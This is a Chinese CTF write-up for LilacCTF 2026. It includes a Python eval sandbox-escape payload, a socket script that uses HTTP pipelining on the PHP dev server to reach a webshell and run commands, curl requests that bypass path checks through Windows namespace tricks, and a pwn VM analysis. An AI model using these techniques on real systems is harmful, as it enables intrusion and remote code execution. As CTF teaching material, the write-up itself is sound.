LilacCTF2026 - Zsm's blog

前言#

三个人猛冲xctf，感谢队友的带飞，哥们这次纯躺赢狗，misc是uncle_cui，pwn是vrtua，感谢带飞

web#

CheckIn#

扫路径

http://1.95.156.239:8001/backup.zip泄露了源代码

1
#Python 3.14.2
2
import re
3
from collections import UserList
4
from sys import argv
5

6
class LockedList(UserList):
7
    def __setitem__(self, key, value):
8
        raise Exception("Assignment blocked!")
9

10
def sandbox():
11
    if len(argv) != 2:
12
        print("ERROR: Missing code")
13
        return
14

15
    try:
16
        status = LockedList([False])
17
        status_id = id(status)
18
        user_input = argv[1].encode('idna').decode('ascii').rstrip('-')
19

20
        if re.search(r'[0-9A-Z]', user_input):
21
            print("FORBIDDEN: No numbers or alphas")
22
            return
23

24
        if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
25
            print("FORBIDDEN: Incorrect symbol detected")
26
            return
27

28
        if re.search(r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)', user_input.casefold()):
29
            print("FORBIDDEN: Keywords detected")
30
            return
31

32
        if len(user_input) > 60:
33
            print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
34
            return
35

36
        eval(user_input)
37

38
        if status[0] and id(status) == status_id:
39
            with open('/flag', 'r') as f:
40
                flag = f.read().strip()
41
                print(f"SUCCESS! Flag: {flag}")
42
        else:
43
            print(f"FAILURE: status is still {status}")
44

45
    except Exception as e:
46
        print(f"Don't be evil~ And I won't show you this error :)")
47

48
if __name__ == '__main__':
49
    sandbox()

ai给的payload是

vars().get(min(vars())).extend(str(vars().get(min(vars())).pop()))

但是长度太长，需要简化，把false变成真值返回列表，pop取出false，那么~false==-1，再append回去触发分支

vars().get(min(dir())).append(~vars().get(min(dir())).pop())

keep#

啥都没有，扫路径没有内容，尝试PHP<=7.4.21 Development Server源码泄露漏洞

1
import socket
2

3
host, port = "",
4
payload = f"GET /index.php HTTP/1.1\r\nHost: {host}:{port}\r\n\r\nGET /robots.txt HTTP/1.1\r\nHost: {host}:{port}\r\n\r\n".encode()
5

6
try:
7
    with socket.create_connection((host, port), timeout=5) as s:
8
        s.sendall(payload)
9
        print(s.recv(16384).decode(errors="ignore"))
10
except Exception as e:
11
    print(e)

得到s3Cr37_f1L3.php.bak 是一句话木马，尝试LFI包含没用，尝试pipelining漏洞，把获取.bak的改成post去rce

1
import socket
2
import re
3

4
class CTFExploit:
5
    def __init__(self, host, port):
6
        self.host = host
7
        self.port = port
8
        self.url_path = "/s3Cr37_f1L3.php"
9
        self.bak_path = "/s3Cr37_f1L3.php.bak"
10
        self.delimiter = "---EXP_START---"
11

12
    def _build_payload(self, cmd):
13
        # 简化 PHP 逻辑，确保输出干净
14
        php_code = f"ob_clean(); echo '{self.delimiter}'; system('{cmd}'); die();"
15
        data = f"admin={php_code}"
16

17
        # 构造 HTTP Pipelining 数据包
18
        # 第一个请求触发环境，第二个请求注入 RCE
19
        packet = (
20
            f"GET {self.bak_path} HTTP/1.1\r\n"
21
            f"Host: {self.host}\r\n"
22
            f"Connection: keep-alive\r\n\r\n"
23

24
            f"POST {self.url_path} HTTP/1.1\r\n"
25
            f"Host: {self.host}\r\n"
26
            f"Content-Type: application/x-www-form-urlencoded\r\n"
27
            f"Content-Length: {len(data)}\r\n"
28
            f"Connection: close\r\n\r\n"
29
            f"{data}"
30
        )
31
        return packet
32

33
    def execute(self, cmd):
34
        packet = self._build_payload(cmd)
35

36
        try:
37
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
38
                s.settimeout(5)
39
                s.connect((self.host, self.port))
40
                s.sendall(packet.encode())
41

42
                response = b""
43
                while True:
44
                    chunk = s.recv(4096)
45
                    if not chunk: break
46
                    response += chunk
47

48
                return self._parse_response(response.decode(errors='ignore'))
49
        except Exception as e:
50
            return f"[x] 通信失败: {e}"
51

52
    def _parse_response(self, text):
53
        # 使用切片定位，比 split 更稳健一点
54
        if self.delimiter in text:
55
            return text.split(self.delimiter)[1].strip()
56
        return None
57

58
if __name__ == "__main__":
59
    # 初始化
60
    pwner = CTFExploit("", )
61

62
    # 执行 ls
63
    print(f"[*] 正在尝试执行 ls / ...")
64
    result = pwner.execute("ls /")
65

66
    if result:
67
        print("\n" + "="*20 + " COMMAND OUTPUT " + "="*20)
68
        print(result)
69
        print("="*56)
70
    else:
71
        print("[-] 响应中未发现标记，建议检查路径或尝试重新运行。")

Path#

尝试获取token

1
 curl "http://1.95.51.2:8080/api/diag/read?path=C:\token\access_key.txt"
2
{"error":"Path validation failed: Path not in allowed directory","success":false}

直接访问被ban了，尝试Win32 File Namespace

1
curl "http://1.95.51.2:8080/api/diag/read?path=\\?\C:\token\access_key.txt"
2
{"error":"Path validation failed: Path not in allowed directory","success":false}
3
curl "http://1.95.51.2:8080/api/diag/read?path=\\\\?\C:\token\access_key.txt"
4
{"message":"Access key verified! Here is your Stage 2 token.","success":true,"token":"NWwi4lxJdO8ivs0fEblzufriwNyJNMtUtxVZjmZAAI8","token_expires_in":300}

成功读取token，尝试Namespace绕过拿flag，发现被ban，尝试单独的UNC绕过不行，GlobalRoot绕过发现被ban，但是小写没有被过滤掉，改成小写即可

1
curl -G "http://1.95.51.2:8080/api/export/read" \
2
    --data-urlencode "path=\\?\GlobalRoot\Device\Mup\172.20.0.10\backup\flag.txt" \
3
    --data-urlencode "token=g6K8QfFuA87goNlM2QZPPMPFEzZwBJJYAxMzW73HaV8"
4
{"error":"Path validation failed: NT namespace access not allowed","success":false}
5

6
curl -G "http://1.95.51.2:8080/api/export/read" \
7
    --data-urlencode "path=\\\\?\globalroot\device\Mup\172.20.0.10\backup\flag.txt" \
8
    --data-urlencode "token=fCHSStFIHIarq_9rQDgofDJEyQQg0WRtm3lwd0wgOOk"
9
{"content":"LilacCTF{W1n32_t0_NT_P4th_C0nv3rs10n_M4st3r_2026}","size":50,"success":true}

Re#

ezPython#

py的exe，解包+pycdc批量反编译，发现myalgo.pyc没有成功反编译，字节码有问题，修复一下再编译，拿到

1
def u32(x: int) -> int:
2
    return x & 0xFFFFFFFF
3

4

5
def MX(y: int, z: int, sum_: int, k, p: int, e: int) -> int:
6
    return (
7
        (((z >> 5) ^ (y >> 2)) + ((y << 3) ^ (z << 4)))
8
        ^ ((sum_ ^ y) + (k[(p & 3) ^ e] ^ z))
9
    )
10

11

12
def btea_encrypt(v: list, n: int, k) -> bool:
13
    if n <= 1:
14
        return False
15

16
    DELTA = 1163219540
17
    y = v[0]
18
    z = v[n - 1]
19
    sum_ = 0
20
    q = 6 + 52 // n
21

22
    while q > 0:
23
        q -= 1
24
        sum_ = u32(sum_ + DELTA)
25
        e = (sum_ >> 2) & 3
26

27
        for p in range(n - 1):
28
            y = v[p + 1]
29
            v[p] = u32(v[p] + MX(y, z, sum_, k, p, e))
30
            z = v[p]
31

32
        y = v[0]
33
        v[n - 1] = u32(v[n - 1] + MX(y, z, sum_, k, n - 1, e))
34
        z = v[n - 1]
35

36
    return True
37

38

39
def btea_decrypt(v: list, n: int, k) -> bool:
40
    if n <= 1:
41
        return False
42

43
    DELTA = 1163219540
44
    q = 6 + 52 // n
45
    sum_ = u32(q * DELTA)
46

47
    while sum_ != 0:
48
        e = (sum_ >> 2) & 3
49

50
        for p in range(n - 1, 0, -1):
51
            z = v[p - 1]
52
            y = v[p]
53
            v[p] = u32(v[p] - MX(y, z, sum_, k, p, e))
54

55
        # p = 0
56
        z = v[n - 1]
57
        y = v[0]
58
        v[0] = u32(v[0] - MX(y, z, sum_, k, 0, e))
59

60
        sum_ = u32(sum_ - DELTA)
61

62
    return True
63

64
def btea(v: list, n: int, k) -> bool:
65
    return btea_encrypt(v, n, k)

main.py

1
import struct
2
from crypto import *
3
from sys import *
4
import base64
5
import myalgo
6
welcome_msg = 'V2VsYzBtMyBUbyBUaGUgV29ybGQgb2YgTDFsYWMgPDM='
7
input_msg = ':i(G#8T&KiF<F_)F`JToCggs;'
8
right_msg = 'UmlnaHQsIGNvbmdyYXR1bGF0aW9ucyE='
9
wrong_msg = 'V3JvbmcgRmxhZyE='
10
print(b64decode(welcome_msg).decode())
11
flag = input(a85decode(input_msg).decode())
12
if not flag.startswith('LilacCTF{') and flag.endswith('}') or len(flag) == 26:
13
    print(b64decode(wrong_msg).decode())
14
else:
15
    flag = flag[9:25]
16
    res = [
17
        761104570,
18
        1033127419,
19
        0xDE446C05,
20
        795718415]
21
    key = struct.unpack('<IIII', b'1111222233334444')
22
    input = list(struct.unpack('<IIII', flag.encode()))
23
    myalgo.btea(input, 4, key)
24
    if input[0] == res[0] and input[1] == res[1] and input[2] == res[2] and input[3] == res[3]:
25
        print(b64decode(right_msg).decode())
26
    else:
27
        print(b64decode(wrong_msg).decode())

ai写exp

1
import struct
2

3

4
def u32(x: int) -> int:
5
    return x & 0xFFFFFFFF
6

7

8
DELTA = 0x45555254  # 1163219540
9

10

11
def MX(y: int, z: int, sum_: int, k, p: int, e: int) -> int:
12
    return u32(
13
        (((z >> 2) ^ (y << 4)) + ((y >> 5) ^ (z << 3)))
14
        ^ ((sum_ ^ y) + (k[(p & 3) ^ e] ^ z))
15
    )
16

17

18
def btea_decrypt(v: list, n: int, k) -> bool:
19
    if n <= 1:
20
        return False
21
    q = 6 + 52 // n
22
    sum_ = u32(q * DELTA)
23
    y = v[0]
24
    while sum_ != 0:
25
        e = (sum_ >> 2) & 3
26
        for p in range(n - 1, 0, -1):
27
            z = v[p - 1]
28
            v[p] = u32(v[p] - MX(y, z, sum_, k, p, e))
29
            y = v[p]
30
        z = v[n - 1]
31
        v[0] = u32(v[0] - MX(y, z, sum_, k, 0, e))
32
        y = v[0]
33
        sum_ = u32(sum_ - DELTA)
34
    return True
35

36

37
res = [761104570, 1033127419, 3729026053, 795718415]
38
key = struct.unpack("<IIII", b"1111222233334444")
39

40
v = res[:]  # copy
41
btea_decrypt(v, 4, key)
42

43
mid = struct.pack("<IIII", *v).decode()  # 16 bytes -> 16 ASCII chars
44
print("mid =", mid)
45
print("flag =", f"LilacCTF{{{mid}}}")

NineApple#

ida+mcp一把梭了

1
python3 - <<'PY'
2
weights=[0x275B6F7FF,0x3479E9FF,0x40960C4,0x49D00E,0x4EBBC,0x4EBB,0x4A1,0x41,0x3]
3
char_to_pattern={
4
    "L":"1478",
5
    "i":"582",
6
    "l":"147",
7
    "a":"2147859",
8
    "c":"6589",
9
    "{":"248",
10
    "1":"125879",
11
    "0":"2587413",
12
    "S":"321456987",
13
    "_":"789",
14
    "/":"27",
15
    "\\":"18",
16
    "N":"7415963",
17
    "d":"825479",
18
    "w":"1475963",
19
    "n":"4758",
20
    "3":"23598",
21
    "f":"21745",
22
    "r":"475",
23
    "y":"14257",
24
    "o":"58746",
25
    "u":"47869",
26
    "}":"157",
27
    "2":"125478",
28
    "4":"14528",
29
    "5":"214587",
30
    "6":"458712",
31
    "7":"1238",
32
    "9":"893256",
33
    "A":"74269",
34
    "G":"32478965",
35
    "V":"183",
36
    "T":"13258",
37
    "P":"45217",
38
    "M":"7418369",
39
    "W":"1472963",
40
    "Q":"42689",
41
    "H":"1745639",
42
    "K":"24718",
43
}
44
pattern_to_char={v:k for k,v in char_to_pattern.items()}
45

46
def key_for(pattern:str)->int:
47
    return sum(weights[i]*int(d) for i,d in enumerate(pattern))
48

49
key_to_pattern={key_for(p):p for p in pattern_to_char.keys()}
50

51
target_all_hex=[
52
    "c7c52e6603000000",
53
    "7be974f80d000000",
54
    "5745e06303000000",
55
    "9f1e3b3205000000",
56
    "93b88eeb0f000000",
57
    "1a9ea0dd05000000",
58
    "f8664df502000000",
59
    "0944331406000000",
60
    "cbfb63cf07000000",
61
    "d57e240013000000",
62
    "9f1e3b3205000000",
63
    "e010910f12000000",
64
    "b9ee262c14000000",
65
    "d57e240013000000",
66
    "5745e06303000000",
67
    "f8664df502000000",
68
    "5745e06303000000",
69
    "9f1e3b3205000000",
70
    "93b88eeb0f000000",
71
    "d57e240013000000",
72
    "7e857f6503000000",
73
    "f8664df502000000",
74
    "39aaae5c0b000000",
75
    "2d40ca9f05000000",
76
    "d57e240013000000",
77
    "3d5a693d05000000",
78
    "0944331406000000",
79
    "c929605a0b000000",
80
    "d57e240013000000",
81
    "ede3445103000000",
82
    "ef93e80d0e000000",
83
    "057663680b000000",
84
    "562f5a9803000000",
85
]
86

87
def u64le(h):
88
    return int.from_bytes(bytes.fromhex(h), 'little')
89

90
flag=[]
91
patterns=[]
92
missing=[]
93
for i,h in enumerate(target_all_hex):
94
    k=u64le(h)
95
    p=key_to_pattern.get(k)
96
    if not p:
97
        missing.append((i,hex(k)))
98
        flag.append('?')
99
        patterns.append(None)
100
        continue
101
    patterns.append(p)
102
    flag.append(pattern_to_char[p])
103

104
print('missing', missing)
105
print('patterns', patterns)
106
print('flag', ''.join(flag))
107
PY

JustROM#

ida里面选择SPARC Big-endian 32-bit ROM base：0x10800000 size: 0x10000 RAM base: 0x107F0000 size: 0x10000 进去0x10800000 按c，然后往下继续，可以拿到类似的内容

调整一下，RAM base: 0x107F0000 size: 0x14000,全部丢给ai，给我写了一个找不到key的版本，尝试爆破key在哪，反正时间有的是，在0xc000

1
import struct
2
from pathlib import Path
3

4
# --- 1. 配置信息 ---
5
ROM_PATH = "/Users/zsm/Downloads/rom.bin"  # 请确保你的文件名是这个
6
SIGMA_OFFSET = 0x4018  # 对应汇编中的 10804018
7
KEY_OFFSET = 0xC000
8

9
# --- 2. 目标数据 (Target) ---
10
PLAINTEXT = b"There_is_nothing_you_wanna_get.."
11
MASK_WORDS = [
12
    0x37329BF6,
13
    0x36A918FC,
14
    0xF2E74973,
15
    0x6149F8D4,  # 0xF2E74973 是汇编中 -0xD18B68D 的补码
16
    0x4CF26AC9,
17
    0x3C4C6283,
18
    0x78125C05,
19
    0x5F30959D,
20
]
21

22
# ChaCha 参数
23
COUNTER = 1
24
NONCE = (0x41414141, 0x42424242, 0x43434343)
25

26

27
# --- 3. 核心算法 ---
28
def rotl32(x, n):
29
    x &= 0xFFFFFFFF
30
    return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
31

32

33
def quarter_round(x, a, b, c, d):
34
    x[a] = (x[a] + x[b]) & 0xFFFFFFFF
35
    x[d] = rotl32(x[d] ^ x[a], 16)
36
    x[c] = (x[c] + x[d]) & 0xFFFFFFFF
37
    x[b] = rotl32(x[b] ^ x[c], 12)
38
    x[a] = (x[a] + x[b]) & 0xFFFFFFFF
39
    x[d] = rotl32(x[d] ^ x[a], 8)
40
    x[c] = (x[c] + x[d]) & 0xFFFFFFFF
41
    x[b] = rotl32(x[b] ^ x[c], 7)
42

43

44
def chacha8_block(sigma_words, key_words, counter, nonce_words):
45
    # 初始化状态矩阵 (16个32位字)
46
    state = list(sigma_words) + list(key_words) + [counter] + list(nonce_words)
47
    initial_state = state[:]
48

49
    # 运行 8 轮 (4 次双轮)
50
    for _ in range(4):
51
        # 列置换
52
        quarter_round(state, 0, 4, 8, 12)
53
        quarter_round(state, 1, 5, 9, 13)
54
        quarter_round(state, 2, 6, 10, 14)
55
        quarter_round(state, 3, 7, 11, 15)
56
        # 对角线置换
57
        quarter_round(state, 0, 5, 10, 15)
58
        quarter_round(state, 1, 6, 11, 12)
59
        quarter_round(state, 2, 7, 8, 13)
60
        quarter_round(state, 3, 4, 9, 14)
61

62
    # 状态累加
63
    out = [(state[i] + initial_state[i]) & 0xFFFFFFFF for i in range(16)]
64

65
    # 【关键修正点】：即使 CPU 是大端序，ChaCha 密钥流输出的标准通常是小端序字节
66
    return b"".join(struct.pack("<I", x) for x in out)
67

68

69
def try_decrypt(rom, off):
70
    if off + 32 > len(rom):
71
        return None
72

73
    # 提取 Key (从 ROM 读取时使用大端序)
74
    key_bytes = rom[off : off + 32]
75
    key_words = struct.unpack(">8I", key_bytes)
76

77
    # 提取 Sigma 常量 (从 ROM 读取时使用大端序)
78
    sigma_bytes = rom[SIGMA_OFFSET : SIGMA_OFFSET + 16]
79
    sigma_words = struct.unpack(">4I", sigma_bytes)
80

81
    # 生成密钥流
82
    keystream = chacha8_block(sigma_words, key_words, COUNTER, NONCE)
83

84
    # 构造 Target
85
    mask_bytes = b"".join(struct.pack(">I", w) for w in MASK_WORDS)
86
    target = bytes(p ^ m for p, m in zip(PLAINTEXT, mask_bytes))
87

88
    # 还原 Flag: Input = Target ^ Keystream
89
    flag = bytes(t ^ k for t, k in zip(target, keystream[:32]))
90

91
    # 验证格式
92
    if b"LilacCTF{" in flag and flag.endswith(b"}"):
93
        return "".join(chr(b) for b in flag if 32 <= b < 127)
94
    return None
95

96

97
def main():
98
    if not Path(ROM_PATH).exists():
99
        print(f"[-] Error: {ROM_PATH} not found.")
100
        return
101

102
    rom = Path(ROM_PATH).read_bytes()
103

104
    # 1. 尝试已知偏移量 0xC000
105
    print(f"[*] Testing known offset 0x{KEY_OFFSET:X}...")
106
    res = try_decrypt(rom, KEY_OFFSET)
107
    if res:
108
        print(f"[+] Found Flag: {res}")
109
        return
110

111
    # 2. 如果失败，全文件爆破
112
    print("[*] Known offset failed. Bruteforcing all offsets...")
113
    for off in range(0, len(rom) - 32, 4):
114
        res = try_decrypt(rom, off)
115
        if res:
116
            print(f"[+] Found Flag at offset 0x{off:X}: {res}")
117
            return
118

119
    print("[-] Flag not found. Please check SIGMA_OFFSET and rom.bin content.")
120

121

122
if __name__ == "__main__":
123
    main()

Misc#

Welcome#

赛博厨子连点两下魔法棒就行

Your GitHub, mine#

发现只要在issues中@lilacctf-tech,就可以Check到flag

launchpad#

ai一把梭

Sky Is Ours#

根据机翼涂装和飞机特征可以判断这是青岛航空的空客320，看沿海那里，可以明显看到是国内北方的海岸线，而且有个突出半岛，加上青岛航空，推测这里是山东的海岸线，找出青岛航空国内过山东海边的航班，发现有一班从哈尔滨到蓬莱的飞机，当时我感觉可能是这班，因为是哈工大出题的（），但是不太确定，就去谷歌地图找航线重合的海岸线，发现与该处十分相近，

pwn#

na1vm#

程序分父子两部分，父进程设置完通信管道后执行fork() + execl("child") 父进程无任何可利用点，其本质只是和子进程的交互通道

1
// structure of a single opcode
2
struct opcode {
3
    uint8 op;
4
    uint8 dstReg;
5
    uint8 srcReg;
6
    uint16 offSet;
7
    uint32 val;
8
}

子进程由vm任务队列和vm处理函数组成

1
// 任务队列累加函数
2
__int64 __fastcall child_queue_push(unsigned __int64 cmd)
3
{
4
  unsigned __int8 i; // al
5
  unsigned __int8 capacity; // cl
6
  __int64 v3; // rdx
7
  unsigned __int8 tail_add_one; // dl
8
  unsigned __int8 tail_add_one_; // dl
9

10
  i = g_task_queue.count;
11
  capacity = g_task_queue.capacity;
12
  v3 = -1;
13
  if ( g_task_queue.count < g_task_queue.capacity )
14
  {
15
    tail_add_one = g_task_queue.tail;
16
    g_task_queue.entries[g_task_queue.tail] = cmd;
17
    tail_add_one_ = tail_add_one + 1;
18
    if ( capacity <= tail_add_one_ )
19
    {
20
      g_task_queue.tail = 0;
21
      g_task_queue.capacity = 0x80;
22
      ++g_task_queue.epoch;
23
    }
24
    else
25
    {
26
      g_task_queue.tail = tail_add_one_;
27
    }
28
    g_task_queue.count = i + 1;
29
    return g_task_queue.epoch * g_task_queue.capacity + g_task_queue.tail - 1;
30
  }
31
  return v3;
32
}

1
// vm 主逻辑
2
void __fastcall child_execute_pending()
3
{
4
  unsigned __int8 i; // cl
5
  union sigval val; // rdi
6
  unsigned __int64 n0xE; // rcx
7
  unsigned int *p_g_task_queue; // rax
8
  unsigned __int64 n0xE_1; // rcx
9
  unsigned int *p_g_task_queue_1; // rax
10
  unsigned int g_task_queue; // eax
11
  __int64 v7; // rdi
12
  __int64 v8; // rdi
13
  unsigned int v9; // r15d
14
  int v10; // edx
15
  unsigned int *v11; // rax
16
  unsigned int v12; // r15d
17
  int v13; // edx
18
  unsigned int *v14; // rax
19
  unsigned __int64 vm_stack_ptr; // rbp
20
  unsigned __int64 opcode; // rbp
21
  unsigned __int8 n0x40; // dl
22
  unsigned __int8 head; // al
23
  unsigned int v19; // [rsp+4h] [rbp-54h]
24
  unsigned int v20; // [rsp+4h] [rbp-54h]
25
  unsigned int v21; // [rsp+4h] [rbp-54h]
26
  unsigned int v22; // [rsp+4h] [rbp-54h]
27
  int v23; // [rsp+14h] [rbp-44h] BYREF
28
  unsigned __int64 v24; // [rsp+18h] [rbp-40h]
29

30
  v24 = __readfsqword(0x28u);
31
  for ( i = ::g_task_queue.count; i; i = ::g_task_queue.count )
32
  {
33
    opcode = ::g_task_queue.entries[::g_task_queue.head] & 0xFFFFFFFFFFFFFFLL;
34
    n0x40 = HIBYTE(::g_task_queue.entries[::g_task_queue.head]);
35
    head = ::g_task_queue.head + 1;
36
    if ( (unsigned __int8)(::g_task_queue.head + 1) >= ::g_task_queue.capacity )
37
      head = 0;
38
    ::g_task_queue.head = head;
39
    ::g_task_queue.count = i - 1;
40
    if ( n0x40 > 0x40u )
41
    {
42
LABEL_3:
43
      val.sival_ptr = (void *)-2LL;
44
      if ( n0x40 == 0x80 )
45
      {
46
        if ( HIDWORD(auth_state) == (_DWORD)opcode )// pass auth check -> dead lock
47
        {
48
          while ( 1 )
49
            ;
50
        }
51
        val.sival_ptr = (void *)-2LL;
52
      }
53
    }
54
    else
55
    {
56
      switch ( n0x40 )
57
      {
58
        case 0u:                                // read + write back mem
59
          v23 = WORD2(opcode);
60
          n0xE = opcode >> 52;
61
          if ( (HIWORD(opcode) & 0xF) == 0xF || (unsigned int)n0xE > 0xE )
62
          {
63
            val.sival_ptr = (void *)-3LL;
64
          }
65
          else
66
          {
67
            p_g_task_queue = (unsigned int *)((char *)::vm_stack_ptr + WORD2(opcode));
68
            if ( p_g_task_queue < (unsigned int *)&::g_task_queue
69
              && p_g_task_queue >= (unsigned int *)&::g_task_queue - 0x4000 )
70
            {
71
              vm_reg_u32[HIWORD(opcode) & 0xF] = *p_g_task_queue;
72
              vm_reg_u32[n0xE] = opcode;
73
              val.sival_ptr = (void *)((unsigned int)opcode | ((unsigned __int64)*p_g_task_queue << 32));
74
              *p_g_task_queue = opcode;
75
            }
76
            else
77
            {
78
              val.sival_ptr = (void *)-1LL;
79
            }
80
          }
81
          break;
82
        case 1u:                                // read mem
83
          v23 = WORD2(opcode);
84
          n0xE_1 = opcode >> 52;
85
          if ( (HIWORD(opcode) & 0xF) == 0xF || (unsigned int)n0xE_1 > 0xE )
86
          {
87
            val.sival_ptr = (void *)-3LL;
88
          }
89
          else
90
          {
91
            p_g_task_queue_1 = (unsigned int *)((char *)::vm_stack_ptr + WORD2(opcode));
92
            if ( p_g_task_queue_1 < (unsigned int *)&::g_task_queue
93
              && p_g_task_queue_1 >= (unsigned int *)&::g_task_queue - 0x4000 )
94
            {
95
              vm_reg_u32[HIWORD(opcode) & 0xF] = opcode;
96
              g_task_queue = *p_g_task_queue_1;
97
              vm_reg_u32[n0xE_1] = g_task_queue;
98
              val.sival_ptr = (void *)(g_task_queue | (opcode << 32));
99
            }
100
            else
101
            {
102
              val.sival_ptr = (void *)-1LL;
103
            }
104
          }
105
          break;
106
        case 2u:                                // mov reg, val; add obf
107
          v23 = WORD2(opcode);
108
          val.sival_ptr = (void *)-3LL;
109
          if ( (HIWORD(opcode) & 0xF) != 0xF )
110
          {
111
            v19 = vm_reg_u32[opcode >> 52];
112
            v7 = (unsigned int)opcode + ((unsigned int)child_prng_step_u16((unsigned __int16 *)&v23) ^ v19);
113
            vm_reg_u32[HIWORD(opcode) & 0xF] = v7;
114
            val.sival_ptr = (void *)(vm_reg_u32[opcode >> 52] | (unsigned __int64)(v7 << 32));
115
          }
116
          break;
117
        case 3u:                                // mov reg, val; sub obf
118
          v23 = WORD2(opcode);
119
          val.sival_ptr = (void *)-3LL;
120
          if ( (HIWORD(opcode) & 0xF) != 0xF )
121
          {
122
            v20 = vm_reg_u32[opcode >> 52];
123
            v8 = ((unsigned int)child_prng_step_u16((unsigned __int16 *)&v23) ^ v20) - (unsigned int)opcode;
124
            vm_reg_u32[HIWORD(opcode) & 0xF] = v8;
125
            val.sival_ptr = (void *)(vm_reg_u32[opcode >> 52] | (unsigned __int64)(v8 << 32));
126
          }
127
          break;
128
        case 0x3Fu:
129
          val.sival_ptr = (void *)-2LL;
130
          break;
131
        case 8u:                                // push val; add obf
132
          v23 = WORD2(opcode);
133
          val.sival_ptr = (void *)-1LL;
134
          if ( ::vm_stack_ptr != (unsigned int *)&::g_task_queue )
135
          {
136
            v9 = vm_reg_u32[opcode >> 52] ^ vm_reg_u32[HIWORD(opcode) & 0xF];
137
            v10 = child_prng_step_u16((unsigned __int16 *)&v23);
138
            v11 = ::vm_stack_ptr++;
139
            *v11 = opcode + (v10 ^ v9);
140
            val.sival_ptr = (void *)*::vm_stack_ptr;
141
          }
142
          break;
143
        case 9u:                                // push val; add obf
144
          v23 = WORD2(opcode);
145
          val.sival_ptr = (void *)-1LL;
146
          if ( ::vm_stack_ptr != (unsigned int *)&::g_task_queue )
147
          {
148
            v12 = vm_reg_u32[opcode >> 52] ^ vm_reg_u32[HIWORD(opcode) & 0xF];
149
            v13 = child_prng_step_u16((unsigned __int16 *)&v23);
150
            v14 = ::vm_stack_ptr++;
151
            *v14 = (v13 ^ v12) - opcode;
152
            val.sival_ptr = (void *)*::vm_stack_ptr;
153
          }
154
          break;
155
        case 0xAu:                              // pop reg; add obf
156
          v23 = WORD2(opcode);
157
          val.sival_ptr = (void *)-1LL;
158
          if ( ::vm_stack_ptr != (unsigned int *)vm_memory )
159
          {
160
            val.sival_ptr = (void *)-3LL;
161
            if ( (HIWORD(opcode) & 0xF) != 0xF )
162
            {
163
              v21 = *::vm_stack_ptr ^ vm_reg_u32[opcode >> 52];
164
              val.sival_int = opcode + (child_prng_step_u16((unsigned __int16 *)&v23) ^ v21);
165
              vm_reg_u32[HIWORD(opcode) & 0xF] = val.sival_int;
166
              val.sival_ptr = (void *)(unsigned int)val.sival_int;
167
              --::vm_stack_ptr;
168
            }
169
          }
170
          break;
171
        case 0xBu:                              // pop reg; sub obf
172
          v23 = WORD2(opcode);
173
          val.sival_ptr = (void *)-1LL;
174
          if ( ::vm_stack_ptr != (unsigned int *)vm_memory )
175
          {
176
            val.sival_ptr = (void *)-3LL;
177
            if ( (HIWORD(opcode) & 0xF) != 0xF )
178
            {
179
              v22 = *::vm_stack_ptr ^ vm_reg_u32[opcode >> 52];
180
              val.sival_int = (child_prng_step_u16((unsigned __int16 *)&v23) ^ v22) - opcode;
181
              vm_reg_u32[HIWORD(opcode) & 0xF] = val.sival_int;
182
              val.sival_ptr = (void *)(unsigned int)val.sival_int;
183
              --::vm_stack_ptr;
184
            }
185
          }
186
          break;
187
        case 0x10u:                             // leak stack or reg val; req auth
188
          v23 = WORD2(opcode);
189
          val.sival_ptr = (void *)-2LL;
190
          if ( HIDWORD(auth_state) == (_DWORD)opcode )
191
          {
192
            if ( (opcode & 0xF000000000000LL) != 0 )
193
              vm_stack_ptr = (unsigned __int64)::vm_stack_ptr;
194
            else
195
              vm_stack_ptr = vm_reg_u32[opcode >> 52];
196
            val.sival_ptr = (void *)(vm_stack_ptr ^ (unsigned int)child_prng_step_u16((unsigned __int16 *)&v23));
197
          }
198
          break;
199
        case 0x40u:                             // reset queue; req auth
200
          val.sival_ptr = (void *)-2LL;
201
          if ( HIDWORD(auth_state) == (_DWORD)opcode )
202
          {
203
            memset(&::g_task_queue, 0, sizeof(::g_task_queue));
204
            ::g_task_queue.capacity = 0x80;
205
            val.sival_ptr = 0;
206
          }
207
          break;
208
        default:
209
          goto LABEL_3;
210
      }
211
    }
212
    child_sigqueue_parent(val);
213
  }
214
}

1
// 混淆函数
2
__int64 __fastcall child_prng_step_u16(unsigned __int16 *a1)
3
{
4
  unsigned int v1; // edx
5
  __int64 result; // rax
6

7
  v1 = (*a1
8
      ^ (*a1 >> 11)
9
      ^ ((*a1 ^ (*a1 >> 11)) << 7)
10
      & 0x9D2C5680
11
      ^ ((*a1 ^ (*a1 >> 11) ^ ((*a1 ^ (*a1 >> 11)) << 7) & 0x9D2C5680) << 15)
12
      & 0xEFC60000) >> 18;
13
  result = v1
14
         ^ (unsigned int)auth_state
15
         ^ *a1
16
         ^ (*a1 >> 11)
17
         ^ ((*a1 ^ (*a1 >> 11)) << 7)
18
         & 0x9D2C5680
19
         ^ ((*a1 ^ (*a1 >> 11) ^ ((*a1 ^ (*a1 >> 11)) << 7) & 0x9D2C5680) << 15)
20
         & 0xEFC60000;
21
  LODWORD(auth_state) = v1
22
                      ^ auth_state
23
                      ^ *a1
24
                      ^ (*a1 >> 11)
25
                      ^ ((*a1 ^ (*a1 >> 11)) << 7)
26
                      & 0x9D2C5680
27
                      ^ ((*a1 ^ (*a1 >> 11) ^ ((*a1 ^ (*a1 >> 11)) << 7) & 0x9D2C5680) << 15)
28
                      & 0xEFC60000;
29
  return result;
30
}

vm提供了push, pop, 限制范围内读写等操作。大部分操作都被一个混淆wrapper (child_prng_step_u16)包裹，其通过从urandom读的8字节的低32位和参数1进行一系列异或操作，最后再交还给主逻辑接着运行。这会更改用户输入的内容和运行结果响应码，使得利用极其困难。同时来自urandom的8字节的高32位被用作几个特殊指令的校验码。

vm主逻辑有很多检查，几乎找不到可利用的越界写点，除了opcode->0处的限制范围读写没有将地址对齐，这导致如果输入0xFFFF可以从vm_memory溢出三个字节到g_task_queue结构体。回顾队列累加逻辑，发现如果能控制tail和count即可实现很大范围内的写原语，同时写完如果写的地址和g_task_queue的距离大于0x80 * 8程序还会自动将tail复位成0方便下次任意写。

于是先用写原语重写auth_state为\x00 * 8绕过混淆wrapper，然后用opcode->0xA0泄露程序基址。

